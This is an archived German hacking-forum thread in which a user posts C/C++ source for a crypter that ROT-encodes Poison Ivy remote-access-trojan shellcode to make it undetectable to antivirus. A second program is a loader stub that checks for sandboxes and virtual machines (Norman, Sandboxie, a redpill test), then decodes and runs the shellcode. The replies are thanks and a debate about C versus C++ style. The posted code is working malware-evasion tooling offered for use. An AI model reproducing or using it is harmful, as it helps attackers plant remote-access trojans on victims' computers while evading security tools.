PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [src] ud pi



ed0x
08.04.2009, 14:21
So leute, aus meinen früheren Zeiten, hier ein Source für euch wie ihr PI Crypten könnt... funzt complett ohne API, reines C++ =)

Is schon etwas älter, ich glaube ganz FUD ist es nichtmehr
(und btw auf die idee ist bestimmt wer anders auch schon gekommen, ich behaupte ya nicht das ich es erfunden hab, aber mir is die idee auch gekommen ^^)

Mit diesem source verschlüsselt ihr PI erstmal mit ROT13 (kann man ändern, siehe source)
WICHTIG: beim builden von PI müsst ihr als output nicht PE oder so nehmen, sondern C-Array ... weil das array müsst ihr einfügen, das wird verschlüsselt ...


#include <stdio.h>
#include <stdlib.h>

int main()
{
// Generated by Poison Ivy 2.3.2
// http://www.poisonivy-rat.com
// .... den code einfügen den ihr generiert bekommt...
//unsigned char PIshellcode[] =
//{
// ...

int i, x;
int size = sizeof(PIshellcode);
for(i = 0;i < sizeof(PIshellcode); i++) {
PIshellcode[i] = PIshellcode[i]-13;
}
FILE *shellud = fopen("shellud.txt", "w+");
fprintf (shellud, "//Generated by Poison Ivy 2.3.2\n//http://www.poisonivy-rat.com\n//Length: 0x%08X (bytes)\n//Crypted by ed0x\n\nunsigned char PIshellcode[%d] =\n{\n", size, size);
for(i = 0; i < (size/16); i++) {
fprintf(shellud, " ");
for(x = i*16; x < i*16+16; x++) {
if(x == size-1)
fprintf(shellud, "0x%02X", PIshellcode[x]);
else
fprintf(shellud, "0x%02X, ", PIshellcode[x]);
}
fprintf(shellud, "\n");
}
if(size%16 > 1) {
fprintf(shellud, " ");
for(;x < size-1;x++) {
fprintf(shellud, "0x%02X, ", PIshellcode[x]);
}
fprintf(shellud, "0x%02X\n", PIshellcode[size-1]);
} else if(size%16 == 1) {
fprintf(shellud, " 0x%02X\n", PIshellcode[size-1]);
}
fprintf(shellud, "};\n");
fclose(shellud);
printf("\n");
system("PAUSE");
return 0;
}
So, output ist dann verschlüsselt ...
(wird schon formatiert in eine datei abgelegt ^^)

Und hier der code für das eigendliche ausführe...

Ich kopiert das array aus der neu generierten datei rein, und yoa ...
das wird dann als shellcode ausgeführt...
Unf falls ihr die verschlüsslung geändert habt, hier in dem code auch ändern, sonst gehts nicht auf den usprünglichen code ...

Ich hab noch bissi Anti-VM eingebaut usw .. könnt ihr ya rausnehmen wenn ihr wollt, ich fands sinnvoll (nicht sinfoll ^^ thx GregorSamsa (http://free-hack.com/member.php?u=46765)) :D



#include <stdio.h>
#include <windows.h>
#include <string.h>
#include <TlHelp32.h>
#include <Psapi.h>


string StripFilePath(string ImageFile)
{
string::size_type iPos = ImageFile.find_last_of("\\");
string StrippedFileName = ImageFile.substr(iPos+1, ImageFile.length());
return StrippedFileName;
}


int main(int argc, char* argv[]) {

//Anti Norman Sandbox
char Username[64];
unsigned long UsernameSize = sizeof(Username);

GetUserName(Username, &UsernameSize);
if(lstrcmp(Username, "CurrentUser") == 0) ExitProcess(0);

//Anti kP
unsigned char m[2+4], rpill[] = "\x0f\x01\x0d\x00\x00\x00\x00\xc3";
*((unsigned*)&rpill[3]) = (unsigned)m;
((void(*)())&rpill)();

if(*((unsigned*)&m[2]) == 0x80010160)
ExitProcess(0);

//anti Sandboxie
string targetDLL = "SbieDll.dll"; /* The injected SandBoxie DLL.*/

HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

PROCESSENTRY32 pEntry32 = {0};
MODULEENTRY32 mEntry32 = {0};

if (hProcess == INVALID_HANDLE_VALUE)
return 0;

pEntry32.dwSize = sizeof(PROCESSENTRY32);

char szModuleFile[MAX_PATH] = {0}; GetModuleFileName(GetModuleHandle(NULL),
szModuleFile, MAX_PATH-1);

string StrippedPath = szModuleFile;

StrippedPath = StripFilePath(StrippedPath);

if (Process32First(hProcess, &pEntry32))
{
while (Process32Next(hProcess, &pEntry32))
{
if (!strcmp(pEntry32.szExeFile, StrippedPath.c_str()))
{
HANDLE hModule = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,
pEntry32.th32ProcessID);

if (hModule == INVALID_HANDLE_VALUE) { continue; }

mEntry32.dwSize = sizeof(MODULEENTRY32);

if(Module32First(hModule, &mEntry32))
{
while (Module32Next(hModule, &mEntry32))
{
if (!strcmp(mEntry32.szModule, targetDLL.c_str())) {
MessageBox(NULL, "Warning!", "Sandboxie Found.", MB_OK);
return 0;
}
}
}
}
}
}


//Generated by Poison Ivy 2.3.2
//http://www.poisonivy-rat.com
//Length: 0x00001ED8 (bytes)
//Crypted by ed0x

//unsigned char PIshellcode[] = //Hier shellcode einfügen den ihr generiert habt....
//{
// ....

int i;
for(i = 0;i < sizeof(PIshellcode); i++) {
PIshellcode[i] = PIshellcode[i]+13; //und hier falls ich ein anderes ROT genommen habt auch ändern...
}
void (*letsrock)() = (void(*)())PIshellcode;
letsrock();
return 0;
}
grezZ
ed0x

GregorSamsa
08.04.2009, 14:27
Nice thx!

Heisst übrigens sinvoll, nicht sinfoll :P

sp33dwalker
09.04.2009, 08:02
nein auch nicht sinvoll , sondern sinnvoll ;)

Tüftler
09.04.2009, 14:03
Danke. Der Source Code ist sehr hilfreich für einen Anfänger wie mich.

Du meinst wohl reines C.
Eigentlich benutzt man in C++ doch gar nicht "stdio.h" und auch nicht "printf("")".

ed0x
09.04.2009, 18:38
öh :D

das is typisch ich ^^
ich habs so an mir das ich beide sprachen mische :P

ist praktisch mein markenzeichen ^^

sp1nny
10.04.2009, 15:20
Danke. Der Source Code ist sehr hilfreich für einen Anfänger wie mich.

Du meinst wohl reines C.
Eigentlich benutzt man in C++ doch gar nicht "stdio.h" und auch nicht "printf("")".

Warum sollte man garkein C-Code in C++ verwenden? Das ist doch ein Vorteil von C++, das man auch C-Code benutzen kann. Und warum sollte man kein printf in C++ nutzen? Es hat gegenüber cout ein par Vorteile.

Tüftler
10.04.2009, 15:33
Naja ich beschäftige mich atm halt nur mit C und nicht mit C++. Ich weiß das man C auch in C++ verwenden kann, aber ich habe mal gelesen das so ein "Gewurschtel" ein schlechter Stil sei.
Es kann sein das es einige Funktionen von denen nicht in C gibt bzw dass sie anders heißen und wie gesagt ich bin halt noch ein Anfänger und wollte das nur mal so anmerken.
Aber man lernt halt nie aus :D.